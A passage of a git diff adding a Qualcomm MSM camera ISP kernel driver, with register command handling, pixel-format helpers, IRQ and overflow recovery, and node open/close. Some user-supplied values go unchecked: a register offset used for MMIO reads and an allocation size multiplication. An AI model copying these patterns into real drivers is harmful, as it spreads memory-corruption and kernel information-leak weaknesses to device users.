+ update_id); + return -EINVAL; + } + break; + } + case VFE_HW_UPDATE_UNLOCK: { + uint32_t session_id = + vfe_dev->axi_data.src_info[VFE_PIX_0].session_id; + if (vfe_dev->axi_data.frame_id[session_id] + != *cfg_data) { + pr_err("hw update across frame boundary,begin id %u\n", + *cfg_data); + pr_err("hw update across frame boundary,end id %u\n", + vfe_dev->axi_data.frame_id[session_id]); + } + vfe_dev->axi_data.src_info[VFE_PIX_0].last_updt_frm_id = + vfe_dev->axi_data.frame_id[session_id]; + break; + } + case VFE_READ: { + int i; + uint32_t *data_ptr = cfg_data + + reg_cfg_cmd->u.rw_info.cmd_data_offset/4; + for (i = 0; i < reg_cfg_cmd->u.rw_info.len/4; i++) { + if ((data_ptr < cfg_data) || + (UINT_MAX / sizeof(*data_ptr) < + (data_ptr - cfg_data)) || + (sizeof(*data_ptr) * (data_ptr - cfg_data) > + cmd_len)) + return -EINVAL; + *data_ptr++ = msm_camera_io_r(vfe_dev->vfe_base + + reg_cfg_cmd->u.rw_info.reg_offset); + reg_cfg_cmd->u.rw_info.reg_offset += 4; + } + break; + } + case GET_MAX_CLK_RATE: { + int rc = 0; + + if (cmd_len < sizeof(unsigned long)) { + pr_err("%s:%d failed: invalid cmd len %u exp %zu\n", + __func__, __LINE__, cmd_len, + sizeof(unsigned long)); + return -EINVAL; + } + rc = msm_isp_get_max_clk_rate(vfe_dev, + (unsigned long *)cfg_data); + if (rc < 0) { + pr_err("%s:%d failed: rc %d\n", __func__, __LINE__, rc); + return -EINVAL; + } + break; + } + case GET_ISP_ID: { + uint32_t *isp_id = NULL; + + if (cmd_len < sizeof(uint32_t)) { + pr_err("%s:%d failed: invalid cmd len %u exp %u\n", + __func__, __LINE__, cmd_len, + sizeof(uint32_t)); + return -EINVAL; + } + + isp_id = (uint32_t *)cfg_data; + *isp_id = vfe_dev->pdev->id; + break; + } + case SET_WM_UB_SIZE: { + vfe_dev->vfe_ub_size = *cfg_data; + break; + } + } + return 0; +} + +int msm_isp_proc_cmd(struct vfe_device *vfe_dev, void *arg) +{ + int rc = 0, i; + struct msm_vfe_cfg_cmd2 *proc_cmd = arg; + struct msm_vfe_reg_cfg_cmd *reg_cfg_cmd; + uint32_t *cfg_data = NULL; + + if (!proc_cmd->num_cfg) { + pr_err("%s: Passed num_cfg as 0\n", __func__); + return -EINVAL; + } + + reg_cfg_cmd = kzalloc(sizeof(struct msm_vfe_reg_cfg_cmd)* + proc_cmd->num_cfg, GFP_KERNEL); + if (!reg_cfg_cmd) { + pr_err("%s: reg_cfg alloc failed\n", __func__); + rc = -ENOMEM; + goto reg_cfg_failed; + } + + if (copy_from_user(reg_cfg_cmd, + (void __user *)(proc_cmd->cfg_cmd), + sizeof(struct msm_vfe_reg_cfg_cmd) * proc_cmd->num_cfg)) { + rc = -EFAULT; + goto copy_cmd_failed; + } + + if (proc_cmd->cmd_len > 0) { + cfg_data = kzalloc(proc_cmd->cmd_len, GFP_KERNEL); + if (!cfg_data) { + pr_err("%s: cfg_data alloc failed\n", __func__); + rc = -ENOMEM; + goto cfg_data_failed; + } + + if (copy_from_user(cfg_data, + (void __user *)(proc_cmd->cfg_data), + proc_cmd->cmd_len)) { + rc = -EFAULT; + goto copy_cmd_failed; + } + } + + for (i = 0; i < proc_cmd->num_cfg; i++) + rc = msm_isp_send_hw_cmd(vfe_dev, ®_cfg_cmd[i], + cfg_data, proc_cmd->cmd_len); + + if (copy_to_user(proc_cmd->cfg_data, + cfg_data, proc_cmd->cmd_len)) { + rc = -EFAULT; + goto copy_cmd_failed; + } + +copy_cmd_failed: + kfree(cfg_data); +cfg_data_failed: + kfree(reg_cfg_cmd); +reg_cfg_failed: + return rc; +} + +int msm_isp_proc_cmd_list(struct vfe_device *vfe_dev, void *arg) +{ + int rc = 0; + struct msm_vfe_cfg_cmd_list *proc_cmd = + (struct msm_vfe_cfg_cmd_list *)arg; + struct msm_vfe_cfg_cmd_list cmd, cmd_next; + + if (!vfe_dev || !arg) { + pr_err("%s:%d failed: vfe_dev %p arg %p", __func__, __LINE__, + vfe_dev, arg); + return -EINVAL; + } + + rc = msm_isp_proc_cmd(vfe_dev, &proc_cmd->cfg_cmd); + if (rc < 0) + pr_err("%s:%d failed: rc %d", __func__, __LINE__, rc); + + cmd = *proc_cmd; + + while (cmd.next) { + if (cmd.next_size != sizeof(struct msm_vfe_cfg_cmd_list)) { + pr_err("%s:%d failed: next size %u != expected %zu\n", + __func__, __LINE__, cmd.next_size, + sizeof(struct msm_vfe_cfg_cmd_list)); + break; + } + if (copy_from_user(&cmd_next, (void __user *)cmd.next, + sizeof(struct msm_vfe_cfg_cmd_list))) { + rc = -EFAULT; + continue; + } + + rc = msm_isp_proc_cmd(vfe_dev, &cmd_next.cfg_cmd); + if (rc < 0) + pr_err("%s:%d failed: rc %d", __func__, __LINE__, rc); + + cmd = cmd_next; + } + return rc; +} + +int msm_isp_send_event(struct vfe_device *vfe_dev, + uint32_t event_type, + struct msm_isp_event_data *event_data) +{ + struct v4l2_event isp_event; + memset(&isp_event, 0, sizeof(struct v4l2_event)); + isp_event.id = 0; + isp_event.type = event_type; + memcpy(&isp_event.u.data[0], event_data, + sizeof(struct msm_isp_event_data)); + v4l2_event_queue(vfe_dev->subdev.sd.devnode, &isp_event); + return 0; +} + +#define CAL_WORD(width, M, N) ((width * M + N - 1) / N) + +int msm_isp_cal_word_per_line(uint32_t output_format, + uint32_t pixel_per_line) +{ + int val = -1; + switch (output_format) { + case V4L2_PIX_FMT_SBGGR8: + case V4L2_PIX_FMT_SGBRG8: + case V4L2_PIX_FMT_SGRBG8: + case V4L2_PIX_FMT_SRGGB8: + case V4L2_PIX_FMT_QBGGR8: + case V4L2_PIX_FMT_QGBRG8: + case V4L2_PIX_FMT_QGRBG8: + case V4L2_PIX_FMT_QRGGB8: + case V4L2_PIX_FMT_JPEG: + case V4L2_PIX_FMT_META: + val = CAL_WORD(pixel_per_line, 1, 8); + break; + case V4L2_PIX_FMT_SBGGR10: + case V4L2_PIX_FMT_SGBRG10: + case V4L2_PIX_FMT_SGRBG10: + case V4L2_PIX_FMT_SRGGB10: + val = CAL_WORD(pixel_per_line, 5, 32); + break; + case V4L2_PIX_FMT_SBGGR12: + case V4L2_PIX_FMT_SGBRG12: + case V4L2_PIX_FMT_SGRBG12: + case V4L2_PIX_FMT_SRGGB12: + val = CAL_WORD(pixel_per_line, 3, 16); + break; + case V4L2_PIX_FMT_QBGGR10: + case V4L2_PIX_FMT_QGBRG10: + case V4L2_PIX_FMT_QGRBG10: + case V4L2_PIX_FMT_QRGGB10: + val = CAL_WORD(pixel_per_line, 1, 6); + break; + case V4L2_PIX_FMT_QBGGR12: + case V4L2_PIX_FMT_QGBRG12: + case V4L2_PIX_FMT_QGRBG12: + case V4L2_PIX_FMT_QRGGB12: + val = CAL_WORD(pixel_per_line, 1, 5); + break; + case V4L2_PIX_FMT_NV12: + case V4L2_PIX_FMT_NV21: + case V4L2_PIX_FMT_NV14: + case V4L2_PIX_FMT_NV41: + case V4L2_PIX_FMT_NV16: + case V4L2_PIX_FMT_NV61: + val = CAL_WORD(pixel_per_line, 1, 8); + break; + case V4L2_PIX_FMT_YUYV: + case V4L2_PIX_FMT_YVYU: + case V4L2_PIX_FMT_UYVY: + case V4L2_PIX_FMT_VYUY: + val = CAL_WORD(pixel_per_line, 2, 8); + break; + /*TD: Add more image format*/ + default: + msm_isp_print_fourcc_error(__func__, output_format); + break; + } + return val; +} + +enum msm_isp_pack_fmt msm_isp_get_pack_format(uint32_t output_format) +{ + switch (output_format) { + case V4L2_PIX_FMT_SBGGR8: + case V4L2_PIX_FMT_SGBRG8: + case V4L2_PIX_FMT_SGRBG8: + case V4L2_PIX_FMT_SRGGB8: + case V4L2_PIX_FMT_SBGGR10: + case V4L2_PIX_FMT_SGBRG10: + case V4L2_PIX_FMT_SGRBG10: + case V4L2_PIX_FMT_SRGGB10: + case V4L2_PIX_FMT_SBGGR12: + case V4L2_PIX_FMT_SGBRG12: + case V4L2_PIX_FMT_SGRBG12: + case V4L2_PIX_FMT_SRGGB12: + return MIPI; + case V4L2_PIX_FMT_QBGGR8: + case V4L2_PIX_FMT_QGBRG8: + case V4L2_PIX_FMT_QGRBG8: + case V4L2_PIX_FMT_QRGGB8: + case V4L2_PIX_FMT_QBGGR10: + case V4L2_PIX_FMT_QGBRG10: + case V4L2_PIX_FMT_QGRBG10: + case V4L2_PIX_FMT_QRGGB10: + case V4L2_PIX_FMT_QBGGR12: + case V4L2_PIX_FMT_QGBRG12: + case V4L2_PIX_FMT_QGRBG12: + case V4L2_PIX_FMT_QRGGB12: + return QCOM; + default: + msm_isp_print_fourcc_error(__func__, output_format); + break; + } + return -EINVAL; +} + +int msm_isp_get_bit_per_pixel(uint32_t output_format) +{ + switch (output_format) { + case V4L2_PIX_FMT_Y4: + return 4; + case V4L2_PIX_FMT_Y6: + return 6; + case V4L2_PIX_FMT_SBGGR8: + case V4L2_PIX_FMT_SGBRG8: + case V4L2_PIX_FMT_SGRBG8: + case V4L2_PIX_FMT_SRGGB8: + case V4L2_PIX_FMT_QBGGR8: + case V4L2_PIX_FMT_QGBRG8: + case V4L2_PIX_FMT_QGRBG8: + case V4L2_PIX_FMT_QRGGB8: + case V4L2_PIX_FMT_JPEG: + case V4L2_PIX_FMT_META: + case V4L2_PIX_FMT_NV12: + case V4L2_PIX_FMT_NV21: + case V4L2_PIX_FMT_NV14: + case V4L2_PIX_FMT_NV41: + case V4L2_PIX_FMT_YVU410: + case V4L2_PIX_FMT_YVU420: + case V4L2_PIX_FMT_YUYV: + case V4L2_PIX_FMT_YYUV: + case V4L2_PIX_FMT_YVYU: + case V4L2_PIX_FMT_UYVY: + case V4L2_PIX_FMT_VYUY: + case V4L2_PIX_FMT_YUV422P: + case V4L2_PIX_FMT_YUV411P: + case V4L2_PIX_FMT_Y41P: + case V4L2_PIX_FMT_YUV444: + case V4L2_PIX_FMT_YUV555: + case V4L2_PIX_FMT_YUV565: + case V4L2_PIX_FMT_YUV32: + case V4L2_PIX_FMT_YUV410: + case V4L2_PIX_FMT_YUV420: + case V4L2_PIX_FMT_GREY: + case V4L2_PIX_FMT_PAL8: + case V4L2_PIX_FMT_UV8: + case MSM_V4L2_PIX_FMT_META: + return 8; + case V4L2_PIX_FMT_SBGGR10: + case V4L2_PIX_FMT_SGBRG10: + case V4L2_PIX_FMT_SGRBG10: + case V4L2_PIX_FMT_SRGGB10: + case V4L2_PIX_FMT_QBGGR10: + case V4L2_PIX_FMT_QGBRG10: + case V4L2_PIX_FMT_QGRBG10: + case V4L2_PIX_FMT_QRGGB10: + case V4L2_PIX_FMT_Y10: + case V4L2_PIX_FMT_Y10BPACK: + return 10; + case V4L2_PIX_FMT_SBGGR12: + case V4L2_PIX_FMT_SGBRG12: + case V4L2_PIX_FMT_SGRBG12: + case V4L2_PIX_FMT_SRGGB12: + case V4L2_PIX_FMT_QBGGR12: + case V4L2_PIX_FMT_QGBRG12: + case V4L2_PIX_FMT_QGRBG12: + case V4L2_PIX_FMT_QRGGB12: + case V4L2_PIX_FMT_Y12: + return 12; + case V4L2_PIX_FMT_NV16: + case V4L2_PIX_FMT_NV61: + case V4L2_PIX_FMT_Y16: + return 16; + /*TD: Add more image format*/ + default: + msm_isp_print_fourcc_error(__func__, output_format); + return -EINVAL; + } +} + +void msm_isp_update_error_frame_count(struct vfe_device *vfe_dev) +{ + struct msm_vfe_error_info *error_info = &vfe_dev->error_info; + error_info->info_dump_frame_count++; + if (error_info->info_dump_frame_count == 0) + error_info->info_dump_frame_count++; +} + +void msm_isp_process_error_info(struct vfe_device *vfe_dev) +{ + int i; + uint8_t num_stats_type = + vfe_dev->hw_info->stats_hw_info->num_stats_type; + struct msm_vfe_error_info *error_info = &vfe_dev->error_info; + static DEFINE_RATELIMIT_STATE(rs, + DEFAULT_RATELIMIT_INTERVAL, DEFAULT_RATELIMIT_BURST); + static DEFINE_RATELIMIT_STATE(rs_stats, + DEFAULT_RATELIMIT_INTERVAL, DEFAULT_RATELIMIT_BURST); + + if (error_info->error_count == 1 || + !(error_info->info_dump_frame_count % 100)) { + vfe_dev->hw_info->vfe_ops.core_ops. + process_error_status(vfe_dev); + error_info->error_mask0 = 0; + error_info->error_mask1 = 0; + error_info->camif_status = 0; + error_info->violation_status = 0; + for (i = 0; i < MAX_NUM_STREAM; i++) { + if (error_info->stream_framedrop_count[i] != 0 && + __ratelimit(&rs)) { + pr_err("%s: Stream[%d]: dropped %d frames\n", + __func__, i, + error_info->stream_framedrop_count[i]); + error_info->stream_framedrop_count[i] = 0; + } + } + for (i = 0; i < num_stats_type; i++) { + if (error_info->stats_framedrop_count[i] != 0 && + __ratelimit(&rs_stats)) { + pr_err("%s: Stats stream[%d]: dropped %d frames\n", + __func__, i, + error_info->stats_framedrop_count[i]); + error_info->stats_framedrop_count[i] = 0; + } + } + } +} + +static inline void msm_isp_update_error_info(struct vfe_device *vfe_dev, + uint32_t error_mask0, uint32_t error_mask1) +{ + vfe_dev->error_info.error_mask0 |= error_mask0; + vfe_dev->error_info.error_mask1 |= error_mask1; + vfe_dev->error_info.error_count++; +} + +static inline void msm_isp_process_overflow_irq( + struct vfe_device *vfe_dev, + uint32_t *irq_status0, uint32_t *irq_status1) +{ + uint32_t overflow_mask; + uint32_t halt_restart_mask0, halt_restart_mask1; + /*Mask out all other irqs if recovery is started*/ + if (atomic_read(&vfe_dev->error_info.overflow_state) != + NO_OVERFLOW) { + vfe_dev->hw_info->vfe_ops.core_ops. + get_halt_restart_mask(&halt_restart_mask0, + &halt_restart_mask1); + *irq_status0 &= halt_restart_mask0; + *irq_status1 &= halt_restart_mask1; + return; + } + + /*Check if any overflow bit is set*/ + vfe_dev->hw_info->vfe_ops.core_ops. + get_overflow_mask(&overflow_mask); + overflow_mask &= *irq_status1; + if (overflow_mask) { + pr_warn("%s: Bus overflow detected: 0x%x\n", + __func__, overflow_mask); + atomic_set(&vfe_dev->error_info.overflow_state, + OVERFLOW_DETECTED); + pr_warn("%s: Start bus overflow recovery\n", __func__); + /*Store current IRQ mask*/ + vfe_dev->hw_info->vfe_ops.core_ops.get_irq_mask(vfe_dev, + &vfe_dev->error_info.overflow_recover_irq_mask0, + &vfe_dev->error_info.overflow_recover_irq_mask1); + /*Stop CAMIF Immediately*/ + vfe_dev->hw_info->vfe_ops.core_ops. + update_camif_state(vfe_dev, DISABLE_CAMIF_IMMEDIATELY); + /*Halt the hardware & Clear all other IRQ mask*/ + vfe_dev->hw_info->vfe_ops.axi_ops.halt(vfe_dev, 0); + /*Update overflow state*/ + atomic_set(&vfe_dev->error_info.overflow_state, HALT_REQUESTED); + *irq_status0 = 0; + *irq_status1 = 0; + } +} + +static inline void msm_isp_reset_burst_count( + struct vfe_device *vfe_dev) +{ + int i; + struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; + struct msm_vfe_axi_stream *stream_info; + struct msm_vfe_axi_stream_request_cmd framedrop_info; + for (i = 0; i < MAX_NUM_STREAM; i++) { + stream_info = &axi_data->stream_info[i]; + if (stream_info->state != ACTIVE) + continue; + if (stream_info->stream_type == BURST_STREAM && + stream_info->num_burst_capture != 0) { + framedrop_info.burst_count = + stream_info->num_burst_capture; + framedrop_info.frame_skip_pattern = + stream_info->frame_skip_pattern; + framedrop_info.init_frame_drop = 0; + msm_isp_calculate_framedrop(&vfe_dev->axi_data, + &framedrop_info); + } + } +} + +static void msm_isp_process_overflow_recovery( + struct vfe_device *vfe_dev, + uint32_t irq_status0, uint32_t irq_status1) +{ + uint32_t halt_restart_mask0, halt_restart_mask1; + vfe_dev->hw_info->vfe_ops.core_ops. + get_halt_restart_mask(&halt_restart_mask0, + &halt_restart_mask1); + irq_status0 &= halt_restart_mask0; + irq_status1 &= halt_restart_mask1; + if (irq_status0 == 0 && irq_status1 == 0) + return; + + switch (atomic_read(&vfe_dev->error_info.overflow_state)) { + case HALT_REQUESTED: { + pr_err("%s: Halt done, Restart Pending\n", __func__); + /*Reset the hardware*/ + vfe_dev->hw_info->vfe_ops.core_ops.reset_hw(vfe_dev, + ISP_RST_SOFT, 0); + /*Update overflow state*/ + atomic_set(&vfe_dev->error_info.overflow_state, + RESTART_REQUESTED); + } + break; + case RESTART_REQUESTED: { + pr_err("%s: Restart done, Resuming\n", __func__); + /*Reset the burst stream frame drop pattern, in the + *case where bus overflow happens during the burstshot, + *the framedrop pattern might be updated after reg update + *to skip all the frames after the burst shot. The burst shot + *might not be completed due to the overflow, so the framedrop + *pattern need to change back to the original settings in order + *to recovr from overflow. + */ + msm_isp_reset_burst_count(vfe_dev); + vfe_dev->hw_info->vfe_ops.axi_ops. + reload_wm(vfe_dev, 0xFFFFFFFF); + vfe_dev->hw_info->vfe_ops.core_ops.restore_irq_mask(vfe_dev); + vfe_dev->hw_info->vfe_ops.core_ops.reg_update(vfe_dev); + memset(&vfe_dev->error_info, 0, sizeof(vfe_dev->error_info)); + atomic_set(&vfe_dev->error_info.overflow_state, NO_OVERFLOW); + vfe_dev->hw_info->vfe_ops.core_ops. + update_camif_state(vfe_dev, ENABLE_CAMIF); + } + break; + case NO_OVERFLOW: + case OVERFLOW_DETECTED: + default: + break; + } +} + +irqreturn_t msm_isp_process_irq(int irq_num, void *data) +{ + unsigned long flags; + struct msm_vfe_tasklet_queue_cmd *queue_cmd; + struct msm_vfe_tasklet_queue_cmd *regupdate_q_cmd; + struct vfe_device *vfe_dev = (struct vfe_device *) data; + uint32_t irq_status0, irq_status1; + uint32_t error_mask0, error_mask1; + struct msm_isp_timestamp ts; + + vfe_dev->hw_info->vfe_ops.irq_ops. + read_irq_status(vfe_dev, &irq_status0, &irq_status1); + if ((irq_status0 == 0) && (irq_status1 == 0)) { + pr_err_ratelimited("%s: irq_status0 & 1 are both 0\n", + __func__); + return IRQ_HANDLED; + } + msm_isp_process_overflow_irq(vfe_dev, + &irq_status0, &irq_status1); + vfe_dev->hw_info->vfe_ops.core_ops. + get_error_mask(&error_mask0, &error_mask1); + error_mask0 &= irq_status0; + error_mask1 &= irq_status1; + irq_status0 &= ~error_mask0; + irq_status1 &= ~error_mask1; + if (!vfe_dev->ignore_error && + ((error_mask0 != 0) || (error_mask1 != 0))) + msm_isp_update_error_info(vfe_dev, error_mask0, error_mask1); + + if ((irq_status0 == 0) && (irq_status1 == 0) && + (!((error_mask0 != 0) || (error_mask1 != 0)) && + vfe_dev->error_info.error_count == 1)) { + ISP_DBG("%s: error_mask0/1 & error_count are set!\n", __func__); + return IRQ_HANDLED; + } + msm_isp_get_timestamp(&ts); + spin_lock_irqsave(&vfe_dev->tasklet_lock, flags); + queue_cmd = &vfe_dev->tasklet_queue_cmd[vfe_dev->taskletq_idx]; + if (queue_cmd->cmd_used) { + pr_err_ratelimited("%s: Tasklet queue overflow: %d\n", + __func__, vfe_dev->pdev->id); + list_del(&queue_cmd->list); + } else { + atomic_add(1, &vfe_dev->irq_cnt); + } + queue_cmd->vfeInterruptStatus0 = irq_status0; + queue_cmd->vfeInterruptStatus1 = irq_status1; + queue_cmd->ts = ts; + queue_cmd->cmd_used = 1; + vfe_dev->taskletq_idx = + (vfe_dev->taskletq_idx + 1) % MSM_VFE_TASKLETQ_SIZE; + list_add_tail(&queue_cmd->list, &vfe_dev->tasklet_q); + if (vfe_dev->hw_info->vfe_ops. + core_ops.get_regupdate_status(irq_status0, irq_status1)) { + regupdate_q_cmd = &vfe_dev-> + tasklet_regupdate_queue_cmd[vfe_dev-> + taskletq_reg_update_idx]; + if (regupdate_q_cmd->cmd_used) { + pr_err_ratelimited("%s: Tasklet Overflow", __func__); + list_del(®update_q_cmd->list); + } else { + atomic_add(1, &vfe_dev->reg_update_cnt); + } + regupdate_q_cmd->vfeInterruptStatus0 = irq_status0; + regupdate_q_cmd->vfeInterruptStatus1 = irq_status1; + regupdate_q_cmd->ts = ts; + regupdate_q_cmd->cmd_used = 1; + vfe_dev->taskletq_reg_update_idx = + (vfe_dev->taskletq_reg_update_idx + 1) % + MSM_VFE_TASKLETQ_SIZE; + list_add_tail(®update_q_cmd->list, + &vfe_dev->tasklet_regupdate_q); + } + spin_unlock_irqrestore(&vfe_dev->tasklet_lock, flags); + tasklet_schedule(&vfe_dev->vfe_tasklet); + return IRQ_HANDLED; +} + +void msm_isp_do_tasklet(unsigned long data) +{ + unsigned long flags; + struct vfe_device *vfe_dev = (struct vfe_device *) data; + struct msm_vfe_irq_ops *irq_ops = &vfe_dev->hw_info->vfe_ops.irq_ops; + struct msm_vfe_tasklet_queue_cmd *queue_cmd; + struct msm_vfe_tasklet_queue_cmd *reg_update_q_cmd; + struct msm_isp_timestamp ts; + uint32_t irq_status0, irq_status1; + while (atomic_read(&vfe_dev->irq_cnt) || + (atomic_read(&vfe_dev->reg_update_cnt))) { + if (atomic_read(&vfe_dev->irq_cnt)) { + spin_lock_irqsave(&vfe_dev->tasklet_lock, flags); + queue_cmd = list_first_entry(&vfe_dev->tasklet_q, + struct msm_vfe_tasklet_queue_cmd, list); + if (!queue_cmd) { + atomic_set(&vfe_dev->irq_cnt, 0); + spin_unlock_irqrestore(&vfe_dev->tasklet_lock, + flags); + continue; + } + atomic_sub(1, &vfe_dev->irq_cnt); + list_del(&queue_cmd->list); + queue_cmd->cmd_used = 0; + irq_status0 = queue_cmd->vfeInterruptStatus0; + irq_status1 = queue_cmd->vfeInterruptStatus1; + ts = queue_cmd->ts; + spin_unlock_irqrestore(&vfe_dev->tasklet_lock, flags); + if (atomic_read(&vfe_dev->error_info.overflow_state) != + NO_OVERFLOW) { + pr_err_ratelimited("There is Overflow, kicking up recovery !!!!"); + msm_isp_process_overflow_recovery(vfe_dev, + irq_status0, irq_status1); + continue; + } + ISP_DBG("%s: status0: 0x%x status1: 0x%x\n", + __func__, irq_status0, irq_status1); + irq_ops->process_reset_irq(vfe_dev, + irq_status0, irq_status1); + irq_ops->process_halt_irq(vfe_dev, + irq_status0, irq_status1); + irq_ops->process_camif_irq(vfe_dev, + irq_status0, irq_status1, &ts); + irq_ops->process_axi_irq(vfe_dev, + irq_status0, irq_status1, &ts); + irq_ops->process_stats_irq(vfe_dev, + irq_status0, irq_status1, &ts); + msm_isp_process_error_info(vfe_dev); + } + if (atomic_read(&vfe_dev->reg_update_cnt)) { + spin_lock_irqsave(&vfe_dev->tasklet_lock, flags); + reg_update_q_cmd = list_first_entry( + &vfe_dev->tasklet_regupdate_q, + struct msm_vfe_tasklet_queue_cmd, list); + if (!reg_update_q_cmd) { + atomic_set(&vfe_dev->reg_update_cnt, 0); + spin_unlock_irqrestore(&vfe_dev->tasklet_lock, + flags); + continue; + } + atomic_sub(1, &vfe_dev->reg_update_cnt); + list_del(®_update_q_cmd->list); + reg_update_q_cmd->cmd_used = 0; + irq_status0 = reg_update_q_cmd->vfeInterruptStatus0; + irq_status1 = reg_update_q_cmd->vfeInterruptStatus1; + ts = reg_update_q_cmd->ts; + spin_unlock_irqrestore(&vfe_dev->tasklet_lock, flags); + if (atomic_read(&vfe_dev->error_info.overflow_state) != + NO_OVERFLOW) { + continue; + } + irq_ops->process_reg_update(vfe_dev, + irq_status0, irq_status1, &ts); + } + } +} + +int msm_isp_set_src_state(struct vfe_device *vfe_dev, void *arg) +{ + struct msm_vfe_axi_src_state *src_state = arg; + if (src_state->input_src >= VFE_SRC_MAX) + return -EINVAL; + vfe_dev->axi_data.src_info[src_state->input_src].active = + src_state->src_active; + return 0; +} + +int msm_isp_open_node(struct v4l2_subdev *sd, struct v4l2_subdev_fh *fh) +{ + struct vfe_device *vfe_dev = v4l2_get_subdevdata(sd); + long rc; + ISP_DBG("%s\n", __func__); + + mutex_lock(&vfe_dev->realtime_mutex); + mutex_lock(&vfe_dev->core_mutex); + + if (vfe_dev->vfe_open_cnt++) { + mutex_unlock(&vfe_dev->core_mutex); + mutex_unlock(&vfe_dev->realtime_mutex); + return 0; + } + + if (vfe_dev->hw_info->vfe_ops.core_ops.init_hw(vfe_dev) < 0) { + pr_err("%s: init hardware failed\n", __func__); + vfe_dev->vfe_open_cnt--; + mutex_unlock(&vfe_dev->core_mutex); + mutex_unlock(&vfe_dev->realtime_mutex); + return -EBUSY; + } + + rc = vfe_dev->hw_info->vfe_ops.core_ops.reset_hw(vfe_dev, + ISP_RST_HARD, 1); + if (rc <= 0) { + pr_err("%s: reset timeout\n", __func__); + vfe_dev->vfe_open_cnt--; + vfe_dev->hw_info->vfe_ops.core_ops.release_hw(vfe_dev); + mutex_unlock(&vfe_dev->core_mutex); + mutex_unlock(&vfe_dev->realtime_mutex); + return -EINVAL; + } + vfe_dev->vfe_hw_version = msm_camera_io_r(vfe_dev->vfe_base); + ISP_DBG("%s: HW Version: 0x%x\n", __func__, vfe_dev->vfe_hw_version); + + vfe_dev->hw_info->vfe_ops.core_ops.init_hw_reg(vfe_dev); + + vfe_dev->buf_mgr->ops->buf_mgr_init(vfe_dev->buf_mgr, "msm_isp", 28); + + memset(&vfe_dev->axi_data, 0, sizeof(struct msm_vfe_axi_shared_data)); + memset(&vfe_dev->stats_data, 0, + sizeof(struct msm_vfe_stats_shared_data)); + memset(&vfe_dev->error_info, 0, sizeof(vfe_dev->error_info)); + vfe_dev->axi_data.hw_info = vfe_dev->hw_info->axi_hw_info; + vfe_dev->taskletq_idx = 0; + vfe_dev->vt_enable = 0; + vfe_dev->p_avtimer_lsw = NULL; + vfe_dev->p_avtimer_msw = NULL; + vfe_dev->p_avtimer_ctl = NULL; + vfe_dev->avtimer_scaler = 1; /*No scaling*/ + mutex_unlock(&vfe_dev->core_mutex); + mutex_unlock(&vfe_dev->realtime_mutex); + return 0; +} + +#ifdef CONFIG_MSM_AVTIMER +void msm_isp_end_avtimer(void) +{ + avcs_core_disable_power_collapse(0); +} +#else +void msm_isp_end_avtimer(void) +{ + pr_err("AV Timer is not supported\n"); +} +#endif + +int msm_isp_close_node(struct v4l2_subdev *sd, struct v4l2_subdev_fh *fh) +{ + long rc; + struct vfe_device *vfe_dev = v4l2_get_subdevdata(sd); + ISP_DBG("%s\n", __func__); + mutex_lock(&vfe_dev->realtime_mutex); + mutex_lock(&vfe_dev->core_mutex); + + if (!vfe_dev->vfe_open_cnt) { + pr_err("%s invalid state open cnt %d\n", __func__, + vfe_dev->vfe_open_cnt); + mutex_unlock(&vfe_dev->core_mutex); + mutex_unlock(&vfe_dev->realtime_mutex); + return -EINVAL; + } + + if (--vfe_dev->vfe_open_cnt) { + mutex_unlock(&vfe_dev->core_mutex); + mutex_unlock(&vfe_dev->realtime_mutex); + return 0; + } + + rc = vfe_dev->hw_info->vfe_ops.axi_ops.halt(vfe_dev, 1); + if (rc <= 0) + pr_err("%s: halt timeout rc=%ld\n", __func__, rc); + + vfe_dev->buf_mgr->ops->buf_mgr_deinit(vfe_dev->buf_mgr); + vfe_dev->hw_info->vfe_ops.core_ops.release_hw(vfe_dev); + if (vfe_dev->vt_enable) { + iounmap(vfe_dev->p_avtimer_lsw); + iounmap(vfe_dev->p_avtimer_msw); + iounmap(vfe_dev->p_avtimer_ctl); + msm_isp_end_avtimer(); + vfe_dev->vt_enable = 0; + vfe_dev->avtimer_scaler = 1; + } + mutex_unlock(&vfe_dev->core_mutex); + mutex_unlock(&vfe_dev->realtime_mutex); + return 0; +} diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_util.h b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_util.h new file mode 100644 index 0000000000000..57b23a20ee070 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_util.h @@ -0,0 +1,80 @@ +/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ +#ifndef __MSM_ISP_UTIL_H__ +#define __MSM_ISP_UTIL_H__ + +#include "msm_isp.h" +#include + +/* #define CONFIG_MSM_ISP_DBG 1 */ + +#ifdef CONFIG_MSM_ISP_DBG +#define ISP_DBG(fmt, args...) printk(fmt, ##args) +#else +#define ISP_DBG(fmt, args...) pr_debug(fmt, ##args) +#endif + +#define ALT_VECTOR_IDX(x) {x = 3 - x; } +struct msm_isp_bandwidth_info { + uint32_t active; + uint64_t ab; + uint64_t ib; +}; + +enum msm_isp_hw_client { + ISP_VFE0, + ISP_VFE1, + ISP_CPP, + MAX_ISP_CLIENT, +}; + +struct msm_isp_bandwidth_mgr { + uint32_t bus_client; + uint32_t bus_vector_active_idx; + uint32_t use_count; + struct msm_isp_bandwidth_info client_info[MAX_ISP_CLIENT]; +}; + +uint32_t msm_isp_get_framedrop_period( + enum msm_vfe_frame_skip_pattern frame_skip_pattern); + +int msm_isp_init_bandwidth_mgr(enum msm_isp_hw_client client); +int msm_isp_update_bandwidth(enum msm_isp_hw_client client, + uint64_t ab, uint64_t ib); +void msm_isp_deinit_bandwidth_mgr(enum msm_isp_hw_client client); + +int msm_isp_subscribe_event(struct v4l2_subdev *sd, struct v4l2_fh *fh, + struct v4l2_event_subscription *sub); + +int msm_isp_unsubscribe_event(struct v4l2_subdev *sd, struct v4l2_fh *fh, + struct v4l2_event_subscription *sub); + +int msm_isp_proc_cmd(struct vfe_device *vfe_dev, void *arg); +int msm_isp_send_event(struct vfe_device *vfe_dev, + uint32_t type, struct msm_isp_event_data *event_data); +int msm_isp_cal_word_per_line(uint32_t output_format, + uint32_t pixel_per_line); +int msm_isp_get_bit_per_pixel(uint32_t output_format); +enum 